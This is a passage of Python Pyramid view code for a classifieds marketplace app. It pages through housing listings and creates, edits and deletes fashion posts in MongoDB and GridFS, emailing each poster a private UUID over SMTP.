housing_collection_document17_productID,\n 'username17' : housing_collection_document17_username,\n 'state17' : housing_collection_document17_state,\n 'city17' : housing_collection_document17_city,\n 'description17' : housing_collection_document17_description,\n 'mobile17' : housing_collection_document17_mobile,\n 'email17' : housing_collection_document17_email,\n 'category17' : housing_collection_document17_category,\n 'condition17': housing_collection_document17_condition,\n 'image17A' : housing_collection_document17_imageA,\n 'image17B' : housing_collection_document17_imageB,\n 'image17C' : housing_collection_document17_imageC,\n 'image17D': housing_collection_document17_imageD,\n 'image17E': housing_collection_document17_imageE,\n\n 'productID18' : housing_collection_document18_productID,\n 'username18' : housing_collection_document18_username,\n 'state18' : housing_collection_document18_state,\n 'city18' : housing_collection_document18_city,\n 'description18' : housing_collection_document18_description,\n 'mobile18' : housing_collection_document18_mobile,\n 'email18' : housing_collection_document18_email,\n 'category18' : housing_collection_document18_category,\n 'condition18': housing_collection_document18_condition,\n 'image18A' : housing_collection_document18_imageA,\n 'image18B' : housing_collection_document18_imageB,\n 'image18C' : housing_collection_document18_imageC,\n 'image18D': housing_collection_document18_imageD,\n 'image18E': housing_collection_document18_imageE,\n\n 'productID19' : housing_collection_document19_productID,\n 'username19' : housing_collection_document19_username,\n 'state19' : housing_collection_document19_state,\n 'city19' : housing_collection_document19_city,\n 'description19' : housing_collection_document19_description,\n 'mobile19' : housing_collection_document19_mobile,\n 'email19' : housing_collection_document19_email,\n 'category19' : housing_collection_document19_category,\n 'condition19': housing_collection_document19_condition,\n 'image19A' : housing_collection_document19_imageA,\n 'image19B' : housing_collection_document19_imageB,\n 'image19C' : housing_collection_document19_imageC,\n 'image19D': housing_collection_document19_imageD,\n 'image19E': housing_collection_document19_imageE,\n\n 'productID20' : housing_collection_document20_productID,\n 'username20' : housing_collection_document20_username,\n 'state20' : housing_collection_document20_state,\n 'city20' : housing_collection_document20_city,\n 'description20' : housing_collection_document20_description,\n 'mobile20' : housing_collection_document20_mobile,\n 'email20' : housing_collection_document20_email,\n 'category20' : housing_collection_document20_category,\n 'condition20': housing_collection_document20_condition,\n 'image20A' : housing_collection_document20_imageA,\n 'image20B' : housing_collection_document20_imageB,\n 'image20C' : housing_collection_document20_imageC,\n 'image20D': housing_collection_document20_imageD,\n 'image20E': housing_collection_document20_imageE,\n }\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='housing_viewProducts2_page5', renderer='templates/housing_templates/housing_viewProducts2_page5.pt')\n def housing_viewProducts2_page5(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client5 = MongoClient('%s' % connection_string)\n db = client5.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection_housing = db.housing_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection_housing = GridFS(db, \"housing_images_collection\")\n\n # Retrieve document record from database operation\n housing_collection = text_collection_housing.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(20).limit(5) #This returns 25 records\n\n # Push documents into a list\n housing_collection_list = []\n\n for record in housing_collection:\n housing_collection_list.append(record)\n\n document21 = housing_collection_list[0]\n document22 = housing_collection_list[1]\n document23 = housing_collection_list[2]\n document24 = housing_collection_list[3]\n document25 = housing_collection_list[4]\n\n\n # Extracting images\n # The images for document21\n document21_images_list_rawFile = []\n for image_name in document21[\"Images\"]:\n document21_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document22\n document22_images_list_rawFile = []\n for image_name in document22[\"Images\"]:\n document22_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document23\n document23_images_list_rawFile = []\n for image_name in document23[\"Images\"]:\n document23_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document24\n document24_images_list_rawFile = []\n for image_name in document24[\"Images\"]:\n document24_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document25\n document25_images_list_rawFile = []\n for image_name in document25[\"Images\"]:\n document25_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document21\n #######################\n\n # For the text strings,\n housing_collection_document21_productID = document21[\"Product ID\"]\n housing_collection_document21_username = document21[\"Username\"]\n housing_collection_document21_state = document21[\"State\"]\n housing_collection_document21_city = document21[\"City\"]\n housing_collection_document21_description = document21[\"Description\"]\n housing_collection_document21_mobile = document21[\"Mobile\"]\n housing_collection_document21_email = document21[\"Email\"]\n housing_collection_document21_category = document21[\"Category\"]\n housing_collection_document21_condition = document21[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document21_images_UTF8_list = []\n\n for raw_image in document21_images_list_rawFile:\n document21_binaryImage = raw_image.read()\n document21_base64Image = codecs.encode(document21_binaryImage, 'base64')\n document21_UTF8Image = document21_base64Image.decode('utf-8')\n document21_images_UTF8_list.append(document21_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document21_imageA = document21_images_UTF8_list[0]\n\n try:\n housing_collection_document21_imageB = document21_images_UTF8_list[1]\n except:\n housing_collection_document21_imageB = document21_images_UTF8_list[0]\n\n try:\n housing_collection_document21_imageC = document21_images_UTF8_list[2]\n except:\n housing_collection_document21_imageC = document21_images_UTF8_list[0]\n\n try:\n housing_collection_document21_imageD = document21_images_UTF8_list[3]\n except:\n housing_collection_document21_imageD = document21_images_UTF8_list[0] \n \n try:\n housing_collection_document21_imageE = document21_images_UTF8_list[4]\n except:\n housing_collection_document21_imageE = document21_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document22\n #######################\n\n # For the text strings,\n housing_collection_document22_productID = document22[\"Product ID\"]\n housing_collection_document22_username = document22[\"Username\"]\n housing_collection_document22_state = document22[\"State\"]\n housing_collection_document22_city = document22[\"City\"]\n housing_collection_document22_description = document22[\"Description\"]\n housing_collection_document22_mobile = document22[\"Mobile\"]\n housing_collection_document22_email = document22[\"Email\"]\n housing_collection_document22_category = document22[\"Category\"]\n housing_collection_document22_condition = document22[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document22_images_UTF8_list = []\n\n for raw_image in document22_images_list_rawFile:\n document22_binaryImage = raw_image.read()\n document22_base64Image = codecs.encode(document22_binaryImage, 'base64')\n document22_UTF8Image = document22_base64Image.decode('utf-8')\n document22_images_UTF8_list.append(document22_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document22_imageA = document22_images_UTF8_list[0]\n\n try:\n housing_collection_document22_imageB = document22_images_UTF8_list[1]\n except:\n housing_collection_document22_imageB = document22_images_UTF8_list[0]\n\n try:\n housing_collection_document22_imageC = document22_images_UTF8_list[2]\n except:\n housing_collection_document22_imageC = document22_images_UTF8_list[0]\n\n try:\n housing_collection_document22_imageD = document22_images_UTF8_list[3]\n except:\n housing_collection_document22_imageD = document22_images_UTF8_list[0] \n \n try:\n housing_collection_document22_imageE = document22_images_UTF8_list[4]\n except:\n housing_collection_document22_imageE = document22_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document23\n #######################\n\n # For the text strings,\n housing_collection_document23_productID = document23[\"Product ID\"]\n housing_collection_document23_username = document23[\"Username\"]\n housing_collection_document23_state = document23[\"State\"]\n housing_collection_document23_city = document23[\"City\"]\n housing_collection_document23_description = document23[\"Description\"]\n housing_collection_document23_mobile = document23[\"Mobile\"]\n housing_collection_document23_email = document23[\"Email\"]\n housing_collection_document23_category = document23[\"Category\"]\n housing_collection_document23_condition = document23[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document23_images_UTF8_list = []\n\n for raw_image in document23_images_list_rawFile:\n document23_binaryImage = raw_image.read()\n document23_base64Image = codecs.encode(document23_binaryImage, 'base64')\n document23_UTF8Image = document23_base64Image.decode('utf-8')\n document23_images_UTF8_list.append(document23_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document23_imageA = document23_images_UTF8_list[0]\n\n try:\n housing_collection_document23_imageB = document23_images_UTF8_list[1]\n except:\n housing_collection_document23_imageB = document23_images_UTF8_list[0]\n\n try:\n housing_collection_document23_imageC = document23_images_UTF8_list[2]\n except:\n housing_collection_document23_imageC = document23_images_UTF8_list[0]\n\n try:\n housing_collection_document23_imageD = document23_images_UTF8_list[3]\n except:\n housing_collection_document23_imageD = document23_images_UTF8_list[0] \n \n try:\n housing_collection_document23_imageE = document23_images_UTF8_list[4]\n except:\n housing_collection_document23_imageE = document23_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document24\n #######################\n\n # For the text strings,\n housing_collection_document24_productID = document24[\"Product ID\"]\n housing_collection_document24_username = document24[\"Username\"]\n housing_collection_document24_state = document24[\"State\"]\n housing_collection_document24_city = document24[\"City\"]\n housing_collection_document24_description = document24[\"Description\"]\n housing_collection_document24_mobile = document24[\"Mobile\"]\n housing_collection_document24_email = document24[\"Email\"]\n housing_collection_document24_category = document24[\"Category\"]\n housing_collection_document24_condition = document24[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document24_images_UTF8_list = []\n\n for raw_image in document24_images_list_rawFile:\n document24_binaryImage = raw_image.read()\n document24_base64Image = codecs.encode(document24_binaryImage, 'base64')\n document24_UTF8Image = document24_base64Image.decode('utf-8')\n document24_images_UTF8_list.append(document24_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document24_imageA = document24_images_UTF8_list[0]\n\n try:\n housing_collection_document24_imageB = document24_images_UTF8_list[1]\n except:\n housing_collection_document24_imageB = document24_images_UTF8_list[0]\n\n try:\n housing_collection_document24_imageC = document24_images_UTF8_list[2]\n except:\n housing_collection_document24_imageC = document24_images_UTF8_list[0]\n\n try:\n housing_collection_document24_imageD = document24_images_UTF8_list[3]\n except:\n housing_collection_document24_imageD = document24_images_UTF8_list[0] \n \n try:\n housing_collection_document24_imageE = document24_images_UTF8_list[4]\n except:\n housing_collection_document24_imageE = document24_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document25\n #######################\n\n # For the text strings,\n housing_collection_document25_productID = document25[\"Product ID\"]\n housing_collection_document25_username = document25[\"Username\"]\n housing_collection_document25_state = document25[\"State\"]\n housing_collection_document25_city = document25[\"City\"]\n housing_collection_document25_description = document25[\"Description\"]\n housing_collection_document25_mobile = document25[\"Mobile\"]\n housing_collection_document25_email = document25[\"Email\"]\n housing_collection_document25_category = document25[\"Category\"]\n housing_collection_document25_condition = document25[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document25_images_UTF8_list = []\n\n for raw_image in document25_images_list_rawFile:\n document25_binaryImage = raw_image.read()\n document25_base64Image = codecs.encode(document25_binaryImage, 'base64')\n document25_UTF8Image = document25_base64Image.decode('utf-8')\n document25_images_UTF8_list.append(document25_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document25_imageA = document25_images_UTF8_list[0]\n\n try:\n housing_collection_document25_imageB = document25_images_UTF8_list[1]\n except:\n housing_collection_document25_imageB = document25_images_UTF8_list[0]\n\n try:\n housing_collection_document25_imageC = document25_images_UTF8_list[2]\n except:\n housing_collection_document25_imageC = document25_images_UTF8_list[0]\n\n try:\n housing_collection_document25_imageD = document25_images_UTF8_list[3]\n except:\n housing_collection_document25_imageD = document25_images_UTF8_list[0] \n \n try:\n housing_collection_document25_imageE = document25_images_UTF8_list[4]\n except:\n housing_collection_document25_imageE = document25_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client5.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID21' : housing_collection_document21_productID,\n 'username21' : housing_collection_document21_username,\n 'state21' : housing_collection_document21_state,\n 'city21' : housing_collection_document21_city,\n 'description21' : housing_collection_document21_description,\n 'mobile21' : housing_collection_document21_mobile,\n 'email21' : housing_collection_document21_email,\n 'category21' : housing_collection_document21_category,\n 'condition21': housing_collection_document21_condition,\n 'image21A' : housing_collection_document21_imageA,\n 'image21B' : housing_collection_document21_imageB,\n 'image21C' : housing_collection_document21_imageC,\n 'image21D': housing_collection_document21_imageD,\n 'image21E': housing_collection_document21_imageE,\n\n 'productID22' : housing_collection_document22_productID,\n 'username22' : housing_collection_document22_username,\n 'state22' : housing_collection_document22_state,\n 'city22' : housing_collection_document22_city,\n 'description22' : housing_collection_document22_description,\n 'mobile22' : housing_collection_document22_mobile,\n 'email22' : housing_collection_document22_email,\n 'category22' : housing_collection_document22_category,\n 'condition22': housing_collection_document22_condition,\n 'image22A' : housing_collection_document22_imageA,\n 'image22B' : housing_collection_document22_imageB,\n 'image22C' : housing_collection_document22_imageC,\n 'image22D': housing_collection_document22_imageD,\n 'image22E': housing_collection_document22_imageE,\n\n 'productID23' : housing_collection_document23_productID,\n 'username23' : housing_collection_document23_username,\n 'state23' : housing_collection_document23_state,\n 'city23' : housing_collection_document23_city,\n 'description23' : housing_collection_document23_description,\n 'mobile23' : housing_collection_document23_mobile,\n 'email23' : housing_collection_document23_email,\n 'category23' : housing_collection_document23_category,\n 'condition23': housing_collection_document23_condition,\n 'image23A' : housing_collection_document23_imageA,\n 'image23B' : housing_collection_document23_imageB,\n 'image23C' : housing_collection_document23_imageC,\n 'image23D': housing_collection_document23_imageD,\n 'image23E': housing_collection_document23_imageE,\n\n 'productID24' : housing_collection_document24_productID,\n 'username24' : housing_collection_document24_username,\n 'state24' : housing_collection_document24_state,\n 'city24' : housing_collection_document24_city,\n 'description24' : housing_collection_document24_description,\n 'mobile24' : housing_collection_document24_mobile,\n 'email24' : housing_collection_document24_email,\n 'category24' : housing_collection_document24_category,\n 'condition24': housing_collection_document24_condition,\n 'image24A' : housing_collection_document24_imageA,\n 'image24B' : housing_collection_document24_imageB,\n 'image24C' : housing_collection_document24_imageC,\n 'image24D': housing_collection_document24_imageD,\n 'image24E': housing_collection_document24_imageE,\n\n 'productID25' : housing_collection_document25_productID,\n 'username25' : housing_collection_document25_username,\n 'state25' : housing_collection_document25_state,\n 'city25' : housing_collection_document25_city,\n 'description25' : housing_collection_document25_description,\n 'mobile25' : housing_collection_document25_mobile,\n 'email25' : housing_collection_document25_email,\n 'category25' : housing_collection_document25_category,\n 'condition25': housing_collection_document25_condition,\n 'image25A' : housing_collection_document25_imageA,\n 'image25B' : housing_collection_document25_imageB,\n 'image25C' : housing_collection_document25_imageC,\n 'image25D': housing_collection_document25_imageD,\n 'image25E': housing_collection_document25_imageE,\n }\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# FASHION VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Create\n@view_defaults(route_name='fashion_createNewPost')\nclass FashionCreateNewPostViews(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/fashion_templates/fashion_createNewPost.pt')\n def fashion_createNewPost(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # Perform operation on query params, send values to the database and give the user a Response after creation \n # of a new post.\n @view_config(request_method='POST', request_param='fashion_create_submitButton')\n def fashion_createNewPost_response(self):\n from pyramid.httpexceptions import HTTPFound\n\n # Collect variables from form fields\n # Get text items from form page\n fashion_create_username = self.request.params['fashion_create_username']\n fashion_create_statesList = self.request.params['fashion_create_statesList']\n fashion_create_city = self.request.params['fashion_create_city']\n fashion_create_textarea = self.request.params['fashion_create_textarea']\n fashion_create_mobile = self.request.params['fashion_create_mobile']\n fashion_create_email = self.request.params['fashion_create_email']\n fashion_create_category = self.request.params['fashion_create_category']\n fashion_create_condition = self.request.params['fashion_create_condition']\n\n # Get images from form page\n fashion_create_images = self.request.POST.getall('fashion_create_images')\n\n # Use this for our rest API insertion operation\n fashion_create_images_names_list = []\n for fashion_create_image_name in fashion_create_images:\n fashion_create_images_names_list.append(fashion_create_image_name.filename)\n\n # use this for gridFS insertion operation\n fashion_create_images_list = []\n for fashion_create_image in fashion_create_images:\n fashion_create_images_list.append(fashion_create_image)\n\n\n # Create other backend variables\n # create Product ID\n from .myModules import ran_gen_a\n fashion_create_productID = ran_gen_a(8, \"AEIOSODMG23\")\n\n\n # Create a UUID number\n import uuid\n fashion_create_privateUUID = uuid.uuid4()\n\n # Get specific date\n import datetime\n fashion_create_dateTime = datetime.datetime.utcnow()\n\n\n # Create our RES API structure and push data to the RES\n fashion_resAPI_json = {\n \"Private UUID\": \"\",\n \"Product ID\": \"\",\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n\n fashion_resAPI_json[\"Private UUID\"] = fashion_create_privateUUID\n fashion_resAPI_json[\"Product ID\"] = fashion_create_productID\n fashion_resAPI_json[\"Username\"] = fashion_create_username\n fashion_resAPI_json[\"State\"] = fashion_create_statesList\n fashion_resAPI_json[\"City\"] = fashion_create_city\n fashion_resAPI_json[\"Description\"] = fashion_create_textarea\n fashion_resAPI_json[\"Mobile\"] = fashion_create_mobile\n fashion_resAPI_json[\"Email\"] = fashion_create_email\n fashion_resAPI_json[\"Category\"] = fashion_create_category\n fashion_resAPI_json[\"Condition\"] = fashion_create_condition\n fashion_resAPI_json[\"Images\"] = fashion_create_images_names_list\n fashion_resAPI_json[\"date\"] = fashion_create_dateTime\n\n\n\n # Initialise database connection and perform CRUD operation on text and images\n # Perform CRUD operation on text strings\n import pymongo\n from pymongo import MongoClient\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection= db.fashion_text_collection\n\n # Insert API into database and close our connected client's connection\n text_collection.insert_one(fashion_resAPI_json)\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"fashion_images_collection\")\n\n # Inserting files into gridfs and close our connected client's connection\n for image in fashion_create_images_list:\n image_collection.put(image.file, filename=image.filename)\n\n # Close our database connection and free up resources.\n client.close()\n\n\n # # ############################################################################################\n # # Send private UUID to user's Email using login details and gmail server using inbuilt python email package\n import smtplib, os, sys\n from smtplib import SMTP\n from email.message import EmailMessage\n from dotenv import load_dotenv\n load_dotenv()\n\n try:\n email_content = (\"\"\"\\\n Hello %s, thanks for posting on spacenetng platform, an online commercial market place where buyers and sellers\n meet to carry out business transactions. Please be advised, a private user UUID has been created for you which \n you can use to update or delete your post and it should be kept confidential.\\n\n Here is your Seceret hey: %s\\n\n For support and enquiries please contact us via our contact details found on our contact page in our website.\\n\n Thanks for using this service, we hope to serve you better!!.\n \"\"\"\n % (fashion_create_username, fashion_create_privateUUID)\n \n )\n\n msg = EmailMessage()\n msg.set_content(email_content)\n\n msg['Subject'] = 'Your UUID from Spacenetng'\n msg['From'] = 'spacenetngbase@gmail.com'\n msg['To'] = fashion_create_email\n\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n\n email = os.environ['MY_EMAIL_ADDRESS']\n passWord = os.environ['MY_EMAIL_PASSWORD']\n\n server_ssl.login(email, passWord)\n server_ssl.send_message(msg) \n server_ssl.quit() # Terminate the SMTP session and free up resources \n \n # Or And,\n # print('Message sent successfully!!')\n\n except:\n pass\n # Or\n # print X\n\n finally:\n pass\n\n\n ######################################################\n # Redirect user to view what he/she has just posted \n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been recorded successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Modify\n@view_defaults(route_name='fashion_modifyPost1')\nclass FashionModifyPostViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/fashion_templates/fashion_modifyPost1.pt')\n def fashion_modifyPost1(self):\n return {'user_warning': ''}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for edit mode\n # Redirect to modifyPost2 page if valid private uuid was given, else throw error.\n @view_config(request_method='POST', request_param='fashion_modify1_editButton', renderer='templates/fashion_templates/fashion_modifyPost1.pt')\n def fashion_modifyPost1_update_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection= db.fashion_text_collection\n\n\n fashion_update_privateUUID = self.request.params['fashion_modify1_privateUUID']\n\n try:\n text_collection.find_one({'Private UUID': UUID(fashion_update_privateUUID)})\n result1 = render('templates/fashion_templates/fashion_modifyPost2.pt' , {'private_UUID': fashion_update_privateUUID, 'user_warning': ''}, request=self.request)\n return Response(result1)\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n client.close()\n \n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for delete mode\n @view_config(request_method='POST', request_param='fashion_modify1_deleteButton', renderer='templates/fashion_templates/fashion_modifyPost1.pt')\n def fashion_modifyPost1_delete_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection= db.fashion_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"fashion_images_collection\")\n\n\n fashion_delete_privateUUID = self.request.params['fashion_modify1_privateUUID']\n\n # # Delete operation................................................................................\n # Perform a find() query operation on a document using the private UUID for delete permision,\n # and then obtain its \"_id\" field.\n\n try:\n # Delete operation on the main text collection initialisation\n res0 = text_collection.find_one({'Private UUID': UUID(fashion_delete_privateUUID)})\n res1 = res0['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n # Delete operation On image collection\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete and/or replacement operation\n\n # Delete images in collection first before deleting the actual collection\n image_names_list_toDelete = res0['Images']\n\n for name in image_names_list_toDelete:\n res2 = image_collection.find_one({'filename': name})\n res3 = res2._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res3)) # Delete format for files in gridfs\n\n # text collection delete\n text_collection.delete_one({'_id': ObjectId(res1)})\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been deleted successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # response for modifyPost1 page, return this page if correct params were given in modifyPost1 page.\n @view_config(route_name='fashion_modifyPost2', renderer='templates/fashion_templates/fashion_modifyPost2.pt')\n def fashion_modifyPost2(self):\n return {}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Perform operation on query params from modifyPost2 page,\n # return values and give the user a Response after creation of a new post\n @view_config(request_method='POST', request_param='fashion_update_submitButton')\n def fashion_modifyPost2_response(self):\n # -----------------------------------------------------------------------------------------------------------------\n # Updating and deleting records in database\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection= db.fashion_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"fashion_images_collection\")\n\n\n # Perform CRUD Operation\n # Get specific date\n import datetime\n fashion_update_dateTime = datetime.datetime.utcnow()\n\n fashion_resAPI_json = {\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n #######################\n # Collect variables from form fields\n #######################\n\n # Get text items from form page\n fashion_update_username = self.request.params['fashion_update_username']\n fashion_update_statesList = self.request.params['fashion_update_statesList']\n fashion_update_city = self.request.params['fashion_update_city']\n fashion_update_textarea = self.request.params['fashion_update_textarea']\n fashion_update_mobile = self.request.params['fashion_update_mobile']\n fashion_update_email = self.request.params['fashion_update_email']\n fashion_update_category = self.request.params['fashion_update_category']\n fashion_update_condition = self.request.params['fashion_update_condition']\n \n # Get images from form page\n fashion_update_images = self.request.POST.getall('fashion_update_images')\n\n # Use this for our rest API insertion operation\n fashion_update_images_names_list = []\n for fashion_update_image_name in fashion_update_images:\n fashion_update_images_names_list.append(fashion_update_image_name.filename)\n\n # use this for gridFS insertion operation\n fashion_update_images_list = []\n for fashion_update_image in fashion_update_images:\n fashion_update_images_list.append(fashion_update_image)\n\n\n\n fashion_resAPI_json[\"Username\"] = fashion_update_username\n fashion_resAPI_json[\"State\"] = fashion_update_statesList\n fashion_resAPI_json[\"City\"] = fashion_update_city\n fashion_resAPI_json[\"Description\"] = fashion_update_textarea\n fashion_resAPI_json[\"Mobile\"] = fashion_update_mobile\n fashion_resAPI_json[\"Email\"] = fashion_update_email\n fashion_resAPI_json[\"Category\"] = fashion_update_category\n fashion_resAPI_json[\"Condition\"] = fashion_update_condition\n fashion_resAPI_json[\"Images\"] = fashion_update_images_names_list\n fashion_resAPI_json[\"date\"] = fashion_update_dateTime\n\n\n\n\n # Update operation.........................................................................\n # Update API in database and close our connected client's connection\n # Perform a find() query operation on a document using the private UUID to locate the particular document,\n # and then obtain its \"_id\" field.\n fashion_update_privateUUID = self.request.params['fashion_update_privateUUID']\n\n # Inititalise overall collection query using the text collection\n res1 = text_collection.find_one({'Private UUID': UUID(fashion_update_privateUUID)})\n res2 = res1['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n\n # Before inserting files, query for previous images previously inside database,\n # delete all images there and replace/update with the new one.\n\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete operation followed by the replacement operation\n image_names_list_toDelete = res1['Images']\n\n # Delete images already present first before updating the main collection\n # delete image collection\n for name in image_names_list_toDelete:\n res3 = image_collection.find_one({'filename': name})\n res4 = res3._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res4)) # Delete format for files in gridfs\n\n\n # Main text collection update\n text_collection.update_one({'_id': ObjectId(res2)}, {\"$set\": fashion_resAPI_json})\n\n # then also update the image collection with the new images\n for image in fashion_update_images_list:\n image_collection.put(image.file, filename=image.filename) # The update operation\n\n \n\n # Close our database connection and free up resources.\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been updated successfully!! \"\n \"
\"\n \"You will be redirected shortly.

